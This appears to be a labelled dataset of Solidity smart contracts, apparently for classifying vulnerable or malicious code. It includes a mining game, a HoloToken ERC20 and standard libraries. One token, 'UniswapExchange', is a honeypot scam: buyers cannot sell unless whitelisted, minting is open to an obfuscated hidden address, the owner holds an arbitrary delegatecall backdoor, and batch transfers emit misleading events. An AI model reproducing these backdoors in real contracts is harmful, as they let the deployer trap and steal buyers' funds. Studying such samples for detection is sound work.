}
function StartNewMiner(address referral) external
{
require(miners[msg.sender].lastUpdateTime == 0);
require(referral != msg.sender);
miners[msg.sender].lastUpdateTime = block.timestamp;
miners[msg.sender].lastPotClaimIndex = cycleCount;
miners[msg.sender].rigCount[0] = 1;
indexes[topindex] = msg.sender;
++topindex;
if(referral != owner && referral != 0 && miners[referral].lastUpdateTime != 0)
{
referrals[msg.sender] = referral;
miners[msg.sender].rigCount[0] += 9;
}
}
function UpgradeRig(uint8 rigIdx, uint256 count) external
{
require(rigIdx < numberOfRigs);
require(count > 0);
require(count <= 512);
require(rigFinalizeTime[rigIdx] < block.timestamp);
require(miners[msg.sender].lastUpdateTime != 0);
MinerData storage m = miners[msg.sender];
require(m.rigCount[rigIdx] > 0);
require(512 >= (m.rigCount[rigIdx] + count));
UpdateMoney(msg.sender);
uint256 price = GeometricSequence.sumOfNGeom(rigData[rigIdx].basePrice, m.rigCount[rigIdx], count);
require(m.money >= price);
m.rigCount[rigIdx] = m.rigCount[rigIdx] + count;
m.money -= price;
}
function UnlockRig(uint8 rigIdx) external
{
require(rigIdx < numberOfRigs);
require(rigIdx > 0);
require(rigFinalizeTime[rigIdx] < block.timestamp);
require(miners[msg.sender].lastUpdateTime != 0);
MinerData storage m = miners[msg.sender];
require(m.rigCount[rigIdx] == 0);
require(m.rigCount[rigIdx-1] > 0);
UpdateMoney(msg.sender);
uint256 price = rigData[rigIdx].basePrice * rigData[rigIdx].unlockMultiplier;
require(m.money >= price);
m.rigCount[rigIdx] = 1;
m.money -= price;
}
function PrestigeUp() external
{
require(miners[msg.sender].lastUpdateTime != 0);
require(prestigeFinalizeTime[m.prestigeLevel] < block.timestamp);
MinerData storage m = miners[msg.sender];
require(m.prestigeLevel < maxPrestige);
UpdateMoney(msg.sender);
require(m.money >= prestigeData[m.prestigeLevel].price);
if(referrals[msg.sender] != 0)
{
miners[referrals[msg.sender]].money += prestigeData[m.prestigeLevel].price / 2;
}
for(uint256 i = 0; i < numberOfRigs; ++i)
{
if(m.rigCount[i] > 1)
m.rigCount[i] = m.rigCount[i] / 2;
}
m.money = 0;
m.prestigeBonusPct += prestigeData[m.prestigeLevel].productionBonusPct;
m.prestigeLevel += 1;
}
function UpdateMoney(address addr) private
{
require(block.timestamp > miners[addr].lastUpdateTime);
if(miners[addr].lastUpdateTime != 0)
{
MinerData storage m = miners[addr];
uint256 diff = block.timestamp - m.lastUpdateTime;
uint256 revenue = GetProductionPerSecond(addr);
m.lastUpdateTime = block.timestamp;
if(revenue > 0)
{
revenue *= diff;
m.money += revenue;
}
}
}
function BuyBooster(uint256 idx) external payable
{
require(miners[msg.sender].lastUpdateTime != 0);
require(idx < numberOfBoosts);
require(boostFinalizeTime[idx] < block.timestamp);
BoostData storage b = boostData[idx];
require(msg.value >= b.priceInWEI);
for(uint i = 0; i < b.totalCount; ++i)
if(b.boostHolders[i] == msg.sender)
revert();
address beneficiary = b.boostHolders[b.currentIndex];
MinerData storage m = miners[beneficiary];
MinerData storage m2 = miners[msg.sender];
m.unclaimedPot += (msg.value * 9) / 10;
honeyPotAmount += msg.value / 20;
devFund += msg.value / 20;
b.priceInWEI += (b.priceInWEI * b.priceIncreasePct) / 100;
UpdateMoney(msg.sender);
UpdateMoney(beneficiary);
b.boostHolders[b.currentIndex] = msg.sender;
if(m.rigFlatBonus[b.rigIndex] >= b.flatBonus){
m.rigFlatBonus[b.rigIndex] -= b.flatBonus;
} else {
m.rigFlatBonus[b.rigIndex] = 0;
}
if(m.rigPctBonus[b.rigIndex] >= b.percentBonus) {
m.rigPctBonus[b.rigIndex] -= b.percentBonus;
} else {
m.rigPctBonus[b.rigIndex] = 0;
}
m2.rigFlatBonus[b.rigIndex] += b.flatBonus;
m2.rigPctBonus[b.rigIndex] += b.percentBonus;
b.currentIndex += 1;
if(b.currentIndex >= b.totalCount)
b.currentIndex = 0;
}
function ReleaseICO() external
{
require(miners[msg.sender].lastUpdateTime != 0);
require(nextPotDistributionTime <= block.timestamp);
require(honeyPotAmount > 0);
require(globalICOPerCycle[cycleCount] > 0);
nextPotDistributionTime = block.timestamp + 86400;
honeyPotPerCycle[cycleCount] = honeyPotAmount / 4;
honeyPotAmount -= honeyPotAmount / 4;
honeyPotPerCycle.push(0);
globalICOPerCycle.push(0);
cycleCount = cycleCount + 1;
}
function FundICO(uint amount) external
{
require(miners[msg.sender].lastUpdateTime != 0);
require(amount > 0);
MinerData storage m = miners[msg.sender];
UpdateMoney(msg.sender);
require(m.money >= amount);
m.money = (m.money).sub(amount);
globalICOPerCycle[cycleCount] = globalICOPerCycle[cycleCount].add(uint(amount));
minerICOPerCycle[msg.sender][cycleCount] = minerICOPerCycle[msg.sender][cycleCount].add(uint(amount));
}
function WithdrawICOEarnings() external
{
MinerData storage m = miners[msg.sender];
require(miners[msg.sender].lastUpdateTime != 0);
require(miners[msg.sender].lastPotClaimIndex < cycleCount);
uint256 i = m.lastPotClaimIndex;
uint256 limit = cycleCount;
if((limit - i) > 30)
limit = i + 30;
m.lastPotClaimIndex = limit;
for(; i < cycleCount; ++i)
{
if(minerICOPerCycle[msg.sender][i] > 0)
m.unclaimedPot += (honeyPotPerCycle[i] * minerICOPerCycle[msg.sender][i]) / globalICOPerCycle[i];
}
}
function AddNewBooster(uint256 idx, int256 _rigType, uint256 _flatBonus, uint256 _pctBonus,
uint256 _ETHPrice, uint256 _priceIncreasePct, uint256 _totalCount) external
{
require(msg.sender == owner);
require(idx <= numberOfBoosts);
if(idx < numberOfBoosts)
require(boostFinalizeTime[idx] > block.timestamp);
boostFinalizeTime[idx] = block.timestamp + 7200;
boostData[idx].rigIndex = _rigType;
boostData[idx].flatBonus = _flatBonus;
boostData[idx].percentBonus = _pctBonus;
boostData[idx].priceInWEI = _ETHPrice;
boostData[idx].priceIncreasePct = _priceIncreasePct;
boostData[idx].totalCount = _totalCount;
boostData[idx].currentIndex = 0;
boostData[idx].boostHolders = new address[](_totalCount);
for(uint256 i = 0; i < _totalCount; ++i)
boostData[idx].boostHolders[i] = owner;
if(idx == numberOfBoosts)
numberOfBoosts += 1;
}
function AddorModifyRig(uint256 idx, uint256 _basePrice, uint256 _baseOutput, uint256 _unlockMultiplier) external
{
require(msg.sender == owner);
require(idx <= numberOfRigs);
if(idx < numberOfRigs)
require(rigFinalizeTime[idx] > block.timestamp);
rigFinalizeTime[idx] = block.timestamp + 7200;
rigData[idx].basePrice = _basePrice;
rigData[idx].baseOutput = _baseOutput;
rigData[idx].unlockMultiplier = _unlockMultiplier;
if(idx == numberOfRigs)
numberOfRigs += 1;
}
function AddNewPrestige(uint256 idx, uint256 _price, uint256 _bonusPct) public
{
require(msg.sender == owner);
require(idx <= maxPrestige);
if(idx < maxPrestige)
require(prestigeFinalizeTime[idx] > block.timestamp);
prestigeFinalizeTime[idx] = block.timestamp + 7200;
prestigeData[idx].price = _price;
prestigeData[idx].productionBonusPct = _bonusPct;
if(idx == maxPrestige)
maxPrestige += 1;
}
function WithdrawPotShare() public
{
MinerData storage m = miners[msg.sender];
require(m.unclaimedPot > 0);
require(m.lastUpdateTime != 0);
uint256 amntToSend = m.unclaimedPot;
m.unclaimedPot = 0;
if(msg.sender.send(amntToSend))
{
m.unclaimedPot = 0;
}
}
function WithdrawDevFunds() public
{
require(msg.sender == owner);
if(owner.send(devFund))
{
devFund = 0;
}
}
function() public payable {
devFund += msg.value;
}
function totalSupply() public constant returns(uint256) {
return estimatedSupply;
}
function balanceOf(address miner) public constant returns(uint256) {
return miners[miner].money;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
require(amount <= miners[msg.sender].money);
miners[msg.sender].money = (miners[msg.sender].money).sub(amount);
miners[recipient].money = (miners[recipient].money).add(amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address miner, address recipient, uint256 amount) public returns (bool) {
require(amount <= allowed[miner][msg.sender] && amount <= balanceOf(miner));
miners[miner].money = (miners[miner].money).sub(amount);
miners[recipient].money = (miners[recipient].money).add(amount);
allowed[miner][msg.sender] = (allowed[miner][msg.sender]).sub(amount);
emit Transfer(miner, recipient, amount);
return true;
}
function approve(address approvee, uint256 amount) public returns (bool){
require(amount <= miners[msg.sender].money);
allowed[msg.sender][approvee] = amount;
emit Approval(msg.sender, approvee, amount);
return true;
}
function allowance(address miner, address approvee) public constant returns(uint256){
return allowed[miner][approvee];
}
} | 0 | 796 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract HoloToken is Ownable {
string public constant name = "HoloToken";
string public constant symbol = "HOT";
uint8 public constant decimals = 18;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintingFinished();
event Burn(uint256 amount);
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) public balances;
function transfer(address _to, uint256 _value) public whenMintingFinished returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) public allowed;
function transferFrom(address _from, address _to, uint256 _value) public whenMintingFinished returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public whenMintingFinished returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
bool public mintingFinished = false;
address public destroyer;
address public minter;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier whenMintingFinished() {
require(mintingFinished);
_;
}
modifier onlyMinter() {
require(msg.sender == minter);
_;
}
function setMinter(address _minter) external onlyOwner {
minter = _minter;
}
function mint(address _to, uint256 _amount) external onlyMinter canMint returns (bool) {
require(balances[_to] + _amount > balances[_to]);
require(totalSupply + _amount > totalSupply);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() external onlyMinter returns (bool) {
mintingFinished = true;
MintingFinished();
return true;
}
modifier onlyDestroyer() {
require(msg.sender == destroyer);
_;
}
function setDestroyer(address _destroyer) external onlyOwner {
destroyer = _destroyer;
}
function burn(uint256 _amount) external onlyDestroyer {
require(balances[destroyer] >= _amount && _amount > 0);
balances[destroyer] = balances[destroyer].sub(_amount);
totalSupply = totalSupply.sub(_amount);
Burn(_amount);
}
} | 1 | 2,180 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,128 |
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity 0.8.7;
interface IBasePool {
function distributeRewards(uint256 _amount) external;
}
pragma solidity ^0.8.0;
interface IAccessControl {
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
pragma solidity ^0.8.0;
interface IAccessControlEnumerable is IAccessControl {
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
pragma solidity ^0.8.0;
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping(bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = valueIndex;
}
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
